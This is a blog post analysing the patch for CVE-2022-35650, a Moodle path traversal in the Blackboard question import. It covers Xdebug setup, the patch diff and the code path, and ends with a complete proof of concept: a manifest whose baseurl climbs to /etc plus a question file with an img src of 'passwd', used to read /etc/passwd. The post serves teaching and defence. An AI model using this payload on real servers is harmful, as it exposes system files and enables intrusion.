CVE-2022-35650

The vulnerability was found in Moodle, occurs due to input validation error when importing lesson questions. This insufficient path checks results in arbitrary file read risk. This vulnerability allows a remote attacker to perform directory traversal attacks. The capability to access this feature is only available to teachers, managers and admins by default.

I’ve been wanting to write a blog post about 1-day analysis for a long time, especially in PHP, and in this post, I’ll talk about what approach you should take when analyzing a 1-day CVE patch and how Make a PoC for it

Setup Debugging environment for PHP

sudo apt install php-xdebug

nano /etc/php/7.4/mods-available/xdebug.ini

zend_extension=/usr/lib64/php/modules/xdebug.so
xdebug.remote_autostart = 1
xdebug.remote_enable = 1
xdebug.remote_handler = dbgp
xdebug.remote_host = 127.0.0.1
xdebug.remote_mode = req
xdebug.remote_port = 9000

Install Xdebug extension:

make a launch.json file with the following contents in the .vscode directory:

{
    // Use IntelliSense to learn about possible attributes.
    // Hover to view descriptions of existing attributes.
    // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Listen for Xdebug",
            "type": "php",
            "request": "launch",
            "port": 9000
        },
        {
            "name": "Launch currently open script",
            "type": "php",
            "request": "launch",
            "program": "${file}",
            "cwd": "${fileDirname}",
            "port": 0,
            "runtimeArgs": [
                "-dxdebug.start_with_request=yes"
            ],
            "env": {
                "XDEBUG_MODE": "debug,develop",
                "XDEBUG_CONFIG": "client_port=${port}"
            }
        }
    ]
}

Patch Diffing

The git commit that fixes this vulnerability could be found in this link.

--- a/question/format/blackboard_six/format.php
+++ b/question/format/blackboard_six/format.php
@@ -152,7 +152,8 @@ class qformat_blackboard_six extends qformat_blackboard_six_base {
                     }
                     if ($examfile->getAttribute('type') == 'assessment/x-bb-pool') {
                         if ($examfile->getAttribute('baseurl')) {
-                            $fileobj->filebase = $this->tempdir. '/' . $examfile->getAttribute('baseurl');
+                            $fileobj->filebase = clean_param($this->tempdir . '/'
+                                . $examfile->getAttribute('baseurl'), PARAM_SAFEPATH);
                         }
                         if ($content = $this->get_filecontent($examfile->getAttribute('file'))) {
                             $fileobj->filetype = self::FILETYPE_POOL;

The code change shows that in the old version property filebase of fileobj object will be assigned directly from getAttribute('baseurl') but in the patched version it will be sanitized by clean_param function.

Analysis

The above code is responsible for importing the questions of type blackboard in Question bank.

...
$this->tempdir = make_temp_directory('bbquiz_import/' . $uniquecode);
        if (is_readable($filename)) {
            if (!copy($filename, $this->tempdir . '/bboard.zip')) {
                $this->error(get_string('cannotcopybackup', 'question'));
                fulldelete($this->tempdir);
                return false;
            }
            $packer = get_file_packer('application/zip');
            if ($packer->extract_to_pathname($this->tempdir . '/bboard.zip', $this->tempdir)) {
                $dom = new DomDocument();

                if (!$dom->load($this->tempdir . '/imsmanifest.xml')) {
                    $this->error(get_string('errormanifest', 'qformat_blackboard_six'));
                    fulldelete($this->tempdir);
                    return false;
                }

                $xpath = new DOMXPath($dom);

                // We starts from the root element.
                $query = '//resources/resource';
                $qfile = array();

                $examfiles = $xpath->query($query);
                foreach ($examfiles as $examfile) {
                    $fileobj = new qformat_blackboard_six_file();

                    if ($examfile->getAttribute('type') == 'assessment/x-bb-qti-test'
                            || $examfile->getAttribute('type') == 'assessment/x-bb-qti-pool') {

                        if ($content = $this->get_filecontent($examfile->getAttribute('bb:file'))) {
                            $fileobj->filetype = self::FILETYPE_QTI;
                            $fileobj->filebase = $this->tempdir;
                            $fileobj->text = $content;
                            $qfile[] = $fileobj;
                        }
                    }
                     if ($examfile->getAttribute('type') == 'assessment/x-bb-pool') {
                        if ($examfile->getAttribute('baseurl')) {
                            $fileobj->filebase = $this->tempdir. '/' . $examfile->getAttribute('baseurl');
                        }
                        if ($content = $this->get_filecontent($examfile->getAttribute('file'))) {
                            $fileobj->filetype = self::FILETYPE_POOL;
                            $fileobj->text = $content;
                            $qfile[] = $fileobj;
                        }
                    }
                }

                if ($qfile) {
                    return $qfile;

...

The code will make a temp directory and extract the blackboard archive to it and then read the imsmanifest.xml file from it.

Then by an XPath query, it will retrieve all resource elements and then will make an object from qformat_blackboard_six_file class and then check the type attribute of the resource element as you saw in patch diff the vulnerability will happen if the type is assessment/x-bb-pool, so we can make a zip archive with the following imsmanifest.xml file to test if we are right:

<?xml version="1.0" encoding="UTF-8"?>
<manifest >
	<resources>
		<resource type="assessment/x-bb-pool" baseurl="test">
		test
		</resource>
	</resources>
</manifest>
import question bank

We will set a breakpoint on this line:

Great, we just found the right way and we can continue 🙂

Then the code will get baseurl attribute and if it exists it will set $fileobj->filebase to  $this->tempdir. '/' . $examfile->getAttribute('baseurl');

Did you notice something?

We have full control over baseurl attribute so we can do a directory traversal attack and set the $fileobj->filebase to any location, great what is next?

The get_filecontent function will be called with file attribute as its parameter.

get_filecontent function:

At this point, you may think that we can control the $path and perform a directory traversal but it’s wrong and you will see why.

We actually could control $path from the path attribute of the resource element but if you follow the stack trace you will notice that it will return an error because the returned content should be a valid XML file of type blackboard pool ( ͡° ͜ʖ ͡°)

The readdata function will be called and after it the readquestions will be called with the $lines that is the readdata output

As you saw we can set $fileobj->text to an arbitrary file content but in the readquestions function it will call readquestions function of qformat_blackboard_six_pool class with $fileobj->text that could be the content of any file in the filesystem:

in readquestions function it will try to parse the $text with xmlize function and will return an error if the $text dose not be a valid $xml so as I said even if we can control the $path in above function and tries to read a file that is not a valid XML file we will get an error here and we could not do anything useful ( ͡° ͜ʖ ͡°)

Let’s back to the filebase.

In readquestions function from qformat_blackboard_six class it will call set_filebase function from qformat_blackboard_six_base class so let’s see where is the usage of filebase:

That above code will get $text as its parrampter and with an regex tries to extract the value of src attribute from img tag in $text.

In order to reach this function we have to set file attribute in resource element to a valid blackboard pool xml file, hopefully we could find one sample in tests directory fixtures/sample_blackboard_pool.dat

<?xml version='1.0' encoding='utf-8'?>
<POOL>
    <TITLE value='exam 3 2008-9'/>
    <QUESTIONLIST>
        <QUESTION id='q1' class='QUESTION_TRUEFALSE' points='1'/>
        <QUESTION id='q7' class='QUESTION_MULTIPLECHOICE' points='1'/>
        <QUESTION id='q8' class='QUESTION_MULTIPLEANSWER' points='1'/>
        <QUESTION id='q39-44' class='QUESTION_MATCH' points='1'/>
        <QUESTION id='q9' class='QUESTION_ESSAY' points='1'/>
        <QUESTION id='q27' class='QUESTION_FILLINBLANK' points='1'/>
    </QUESTIONLIST>
    <QUESTION_TRUEFALSE id='q1'>
        <BODY>
            <TEXT><![CDATA[<h1> He Heeeeeeeeeeee</h1>]]></TEXT>
            <FLAGS>
                <ISHTML value='true'/>
                <ISNEWLINELITERAL value='false'/>
            </FLAGS>
        </BODY>
        <ANSWER id='q1_a1'>
            <TEXT>False</TEXT>
        </ANSWER>
        <ANSWER id='q1_a2'>
            <TEXT>True</TEXT>
        </ANSWER>
        <GRADABLE>
            <CORRECTANSWER answer_id='q1_a2'/>
            <FEEDBACK_WHEN_CORRECT><![CDATA[You gave the right answer.]]></FEEDBACK_WHEN_CORRECT>
            <FEEDBACK_WHEN_INCORRECT><![CDATA[42 is the Ultimate Answer.]]></FEEDBACK_WHEN_INCORRECT>
        </GRADABLE>
    </QUESTION_TRUEFALSE>
    <QUESTION_MULTIPLECHOICE id='q7'>
        <BODY>
            <TEXT><![CDATA[<span style="font-size:12pt">What's between orange and green in the spectrum?</span>]]></TEXT>
            <FLAGS>
                <ISHTML value='true'/>
                <ISNEWLINELITERAL value='false'/>
            </FLAGS>
        </BODY>
        <ANSWER id='q7_a1' position='1'>
        <TEXT><![CDATA[<span style="font-size:12pt">red</span>]]></TEXT>
        </ANSWER>
        <ANSWER id='q7_a2' position='2'>
        <TEXT><![CDATA[<span style="font-size:12pt">yellow</span>]]></TEXT>
        </ANSWER>
        <ANSWER id='q7_a3' position='3'>
        <TEXT><![CDATA[<span style="font-size:12pt">blue</span>]]></TEXT>
        </ANSWER>
        <GRADABLE>
            <CORRECTANSWER answer_id='q7_a2'/>
            <FEEDBACK_WHEN_CORRECT><![CDATA[You gave the right answer.]]></FEEDBACK_WHEN_CORRECT>
            <FEEDBACK_WHEN_INCORRECT><![CDATA[Only yellow is between orange and green in the spectrum.]]></FEEDBACK_WHEN_INCORRECT>
        </GRADABLE>
    </QUESTION_MULTIPLECHOICE>
    <QUESTION_MULTIPLEANSWER id='q8'>
        <BODY>
            <TEXT><![CDATA[<span style="font-size:12pt">What's between orange and green in the spectrum?</span>]]></TEXT>
            <FLAGS>
                <ISHTML value='true'/>
                <ISNEWLINELITERAL value='false'/>
            </FLAGS>
        </BODY>
        <ANSWER id='q8_a1' position='1'>
        <TEXT><![CDATA[<span style="font-size:12pt">yellow</span>]]></TEXT>
        </ANSWER>
        <ANSWER id='q8_a2' position='2'>
        <TEXT><![CDATA[<span style="font-size:12pt">red</span>]]></TEXT>
        </ANSWER>
        <ANSWER id='q8_a3' position='3'>
        <TEXT><![CDATA[<span style="font-size:12pt">off-beige</span>]]></TEXT>
        </ANSWER>
        <ANSWER id='q8_a4' position='4'>
        <TEXT><![CDATA[<span style="font-size:12pt">blue</span>]]></TEXT>
        </ANSWER>
        <GRADABLE>
            <CORRECTANSWER answer_id='q8_a1'/>
            <CORRECTANSWER answer_id='q8_a3'/>
            <FEEDBACK_WHEN_CORRECT><![CDATA[You gave the right answer.]]></FEEDBACK_WHEN_CORRECT>
            <FEEDBACK_WHEN_INCORRECT><![CDATA[Only yellow and off-beige are between orange and green in the spectrum.]]></FEEDBACK_WHEN_INCORRECT>
        </GRADABLE>
    </QUESTION_MULTIPLEANSWER>
    <QUESTION_MATCH id='q39-44'>
        <BODY>
            <TEXT><![CDATA[<i>Classify the animals.</i>]]></TEXT>
            <FLAGS>
                <ISHTML value='true'/>
                <ISNEWLINELITERAL value='false'/>
            </FLAGS>
        </BODY>
        <ANSWER id='q39-44_a1' position='1'>
            <TEXT><![CDATA[frog]]></TEXT>
        </ANSWER>
        <ANSWER id='q39-44_a2' position='2'>
            <TEXT><![CDATA[cat]]></TEXT>
        </ANSWER>
        <ANSWER id='q39-44_a3' position='3'>
            <TEXT><![CDATA[newt]]></TEXT>
        </ANSWER>
        <CHOICE id='q39-44_c1' position='1'>
            <TEXT><![CDATA[mammal]]></TEXT>
        </CHOICE>
        <CHOICE id='q39-44_c2' position='2'>
            <TEXT><![CDATA[insect]]></TEXT>
        </CHOICE>
        <CHOICE id='q39-44_c3' position='3'>
            <TEXT><![CDATA[amphibian]]></TEXT>
        </CHOICE>
        <GRADABLE>
            <CORRECTANSWER answer_id='q39-44_a1' choice_id='q39-44_c3'/>
            <CORRECTANSWER answer_id='q39-44_a2' choice_id='q39-44_c1'/>
            <CORRECTANSWER answer_id='q39-44_a3' choice_id='q39-44_c3'/>
        </GRADABLE>
    </QUESTION_MATCH>
    <QUESTION_ESSAY id='q9'>
        <BODY>
            <TEXT><![CDATA[How are you?]]></TEXT>
            <FLAGS>
                <ISHTML value='true'/>
                <ISNEWLINELITERAL value='false'/>
            </FLAGS>
        </BODY>
        <ANSWER id='q9_a1'>
            <TEXT><![CDATA[Blackboard answer for essay questions will be imported as informations for graders.]]></TEXT>
        </ANSWER>
        <GRADABLE>
        </GRADABLE>
    </QUESTION_ESSAY>
    <QUESTION_FILLINBLANK id='q27'>
        <BODY>
            <TEXT><![CDATA[<span style="font-size:12pt">Name an amphibian: __________.</span>]]></TEXT>
            <FLAGS>
                <ISHTML value='true'/>
                <ISNEWLINELITERAL value='false'/>
            </FLAGS>
        </BODY>
        <ANSWER id='q27_a1' position='1'>
            <TEXT>frog</TEXT>
        </ANSWER>
        <GRADABLE>
        </GRADABLE>
    </QUESTION_FILLINBLANK>
</POOL>

As you saw the code it will tries to extract image source file from HTML defined in TEXT element.

After extracting that it will make a variable called $fullpath and assign value $this->filebase . '/' . $path to it and also $this->filebase is under our control as I showed.

if the $fullpath is a readable file the code will call store_file_for_text_field, so lets set the baseurl in imsmanifest.xml and the value of src attribute in q.xml to make $fullpath point to a valid file:

...
<TEXT><![CDATA[<img src="passwd">]]></TEXT>
...
<?xml version="1.0" encoding="UTF-8"?>
<manifest >
	<resources>
		<resource type="assessment/x-bb-pool" baseurl="../../../../../../../etc" file="q.xml">
		test
		</resource>
	</resources>
</manifest>

Here is the store_file_for_text_field function:

As you can see finally it will call create_file_from_pathname and the second petameter that is the location of file in filesystem is under our control and we can make it to point to any file in the file system

( ͡° ͜ʖ ͡°)

Final PoC

imsmanifest.xml:

<?xml version="1.0" encoding="UTF-8"?>
<manifest >
	<resources>
		<resource type="assessment/x-bb-pool" baseurl="../../../../../../../etc" file="q.xml">
		test
		</resource>
	</resources>
</manifest>

q.xml:

<?xml version='1.0' encoding='utf-8'?>
<POOL>
    <TITLE value='PoC exam'/>
    <QUESTIONLIST>
        <QUESTION id='q1' class='QUESTION_TRUEFALSE' points='1'/>
    </QUESTIONLIST>
    <QUESTION_TRUEFALSE id='q1'>
        <BODY>
            <TEXT><![CDATA[<img src="passwd">]]></TEXT>
            <FLAGS>
                <ISHTML value='true'/>
                <ISNEWLINELITERAL value='false'/>
            </FLAGS>
        </BODY>
        <ANSWER id='q1_a1'>
            <TEXT>False</TEXT>
        </ANSWER>
        <ANSWER id='q1_a2'>
            <TEXT>True</TEXT>
        </ANSWER>
        <GRADABLE>
            <CORRECTANSWER answer_id='q1_a2'/>
            <FEEDBACK_WHEN_CORRECT><![CDATA[You gave the right answer.]]></FEEDBACK_WHEN_CORRECT>
            <FEEDBACK_WHEN_INCORRECT><![CDATA[42 is the Ultimate Answer.]]></FEEDBACK_WHEN_INCORRECT>
        </GRADABLE>
    </QUESTION_TRUEFALSE>
</POOL>

We can view the file:

Preview the imported question

you will find the location of file here:

/etc/passwd content

It seems to compute nicely! *grins*

Hello, congratulations on finding this bug
I tested this POC but it doesn’t work.
I combine all poc xml file in zip file and submit that but id doesn’t work and it’s src address of img tag is ‘passwd’ .
can you help me to proof it ?
thanks for your attention

Hi, Thank you
I don’t find this bug, the purpose of this blog post is also not to show this bug but patch analysis and debugging in PHP, I chose this CVE randomly.
Since the bug is patch traversal and the prefix of the path depends on moodle data directory maybe you need to add more ../